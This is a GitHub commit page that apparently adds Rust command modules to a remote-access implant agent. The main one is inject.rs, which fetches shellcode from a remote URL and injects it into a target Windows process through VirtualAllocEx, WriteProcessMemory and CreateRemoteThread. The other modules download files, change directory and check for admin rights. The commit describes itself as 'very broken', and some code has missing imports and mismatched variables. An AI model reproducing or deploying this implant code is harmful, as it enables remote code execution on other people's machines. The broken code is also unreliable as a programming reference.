Skip to content

Commit

Permalink
Start refactor (very broken)
Browse files Browse the repository at this point in the history
  • Loading branch information
mttaggart committed Feb 6, 2022
1 parent a15b597 commit 046990a
Show file tree
Hide file tree
Showing 12 changed files with 560 additions and 33 deletions.
14 changes: 14 additions & 0 deletions agent/src/cmd/cd.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
use std::error::Error;
use std::path::Path;
use std::env::set_current_dir;

/// Changes the directory using system tools
/// Rather than the shell
pub fn handle(s: String) -> Result<String, Box<dyn Error>> {
let new_path = Path::new(s.trim());
match set_current_dir(new_path) {
Ok(_) => Ok(format!("Changed to {s}").to_string()),
Err(e) => Ok(e.to_string())
}
}

23 changes: 23 additions & 0 deletions agent/src/cmd/download.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,23 @@
use std::error::Error;
use std::io::copy;
use reqwest::Client;
use std::fs::File;

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
let client = Client::new();
// Get args
let mut args = s.split(" ");
// Get URL as the first arg
let url = args.nth(0).unwrap();
// Get path as the 2nd arg or the last part of the URL
let path = args.nth(0).unwrap_or_else(|| url.split("/").last().unwrap());
let r = client.get(s).send().await?;
if r.status().is_success() {
let mut out_file = File::create(path).expect("Failed to create file");
match copy(&mut r.bytes().await?.as_ref(), &mut out_file) {
Ok(b) => { return Ok(format!("{b} bytes written to {path}").to_string());},
Err(_) => { return Ok("Could not write file".to_string())}
}
}
return Ok(r.text().await?);
}
41 changes: 41 additions & 0 deletions agent/src/cmd/inject.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
use std::error::Error;
use std::env::current_dir;

pub async fn handle(s: String) -> Result<String, Box<dyn Error>> {
#[cfg(windows)] {
// Input: url to shellcode -p pid
let mut args = s.split(" ");
// Get URL as the first arg
let url = args.nth(0).unwrap();
// Get path as the 2nd arg or the last part of the URL
if let Some(p) = args.nth(0) {
println!("Injecting into PID {:?}", p);
let pid: u32 = p.parse()?;
let client = Client::new();
let r = client.get(url).send().await?;
if r.status().is_success() {
// Here comes the injection
let shellcode = r.bytes().await?;
// Big thanks to trickster0
// https://github.com/trickster0/OffensiveRust/tree/master/Process_Injection_CreateThread
unsafe {
let h = kernel32::OpenProcess(PROCESS_ALL_ACCESS, winapi::shared::ntdef::FALSE.into(), pid);
let addr = kernel32::VirtualAllocEx(h, ptr::null_mut(), shellcode.len() as u64, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
let mut n = 0;
kernel32::WriteProcessMemory(h,addr,shellcode.as_ptr() as _, shellcode.len() as u64,&mut n);
let _h_thread = kernel32::CreateRemoteThread(h, ptr::null_mut(), 0 , Some(std::mem::transmute(addr)), ptr::null_mut(), 0, ptr::null_mut());
kernel32::CloseHandle(h);
}
return Ok("Injection completed!".to_string());
} else {
return Ok("Could not download shellcode".to_string());
}
} else {
return Ok("No valid pid provided".to_string());
}
}

#[cfg(not(windows))] {
Ok("Can only inject shellcode on Windows!".to_string())
}
}
47 changes: 47 additions & 0 deletions agent/src/cmd/is_elevated.rs
Original file line number Diff line number Diff line change
@@ -0,0 +1,47 @@
// Ref: https://users.rust-lang.org/t/how-do-i-determine-if-i-have-admin-rights-on-windows/35710/5

#[cfg(windows)] use std::ptr::null_mut;
#[cfg(windows)] use winapi::um::handleapi::CloseHandle;
#[cfg(windows)] use winapi::um::processthreadsapi::GetCurrentProcess;
#[cfg(windows)] use winapi::um::processthreadsapi::OpenProcessToken;
#[cfg(windows)] use winapi::um::securitybaseapi::GetTokenInformation;
#[cfg(windows)] use winapi::um::winnt::TokenElevation;
#[cfg(windows)] use winapi::um::winnt::HANDLE;
#[cfg(windows)] use winapi::um::winnt::TOKEN_ELEVATION;
#[cfg(windows)] use libc;
#[cfg(windows)] use std::mem;
#[cfg(windows)] use winapi::ctypes::c_void;
#[cfg(windows)] use winapi::um::winnt::TOKEN_QUERY;

#[cfg(windows)]
pub fn is_elevated() -> bool {

//TODO: parameterize for Linux/Windows
//On Linux, check UID/EUID for 0

let mut handle: HANDLE = null_mut();
unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut handle) };

let elevation = unsafe { libc::malloc(mem::size_of::<TOKEN_ELEVATION>()) as *mut c_void };
let size = std::mem::size_of::<TOKEN_ELEVATION>() as u32;
let mut ret_size = size;
unsafe {
GetTokenInformation(
handle,
TokenElevation,
elevation,
size as u32,
&mut ret_size,
)
};
let elevation_struct: TOKEN_ELEVATION = unsafe{ *(elevation as *mut TOKEN_ELEVATION)};

if !handle.is_null() {
unsafe {
CloseHandle(handle);
}
}

elevation_struct.TokenIsElevated == 1

}
Loading

0 comments on commit 046990a

Please sign in to comment.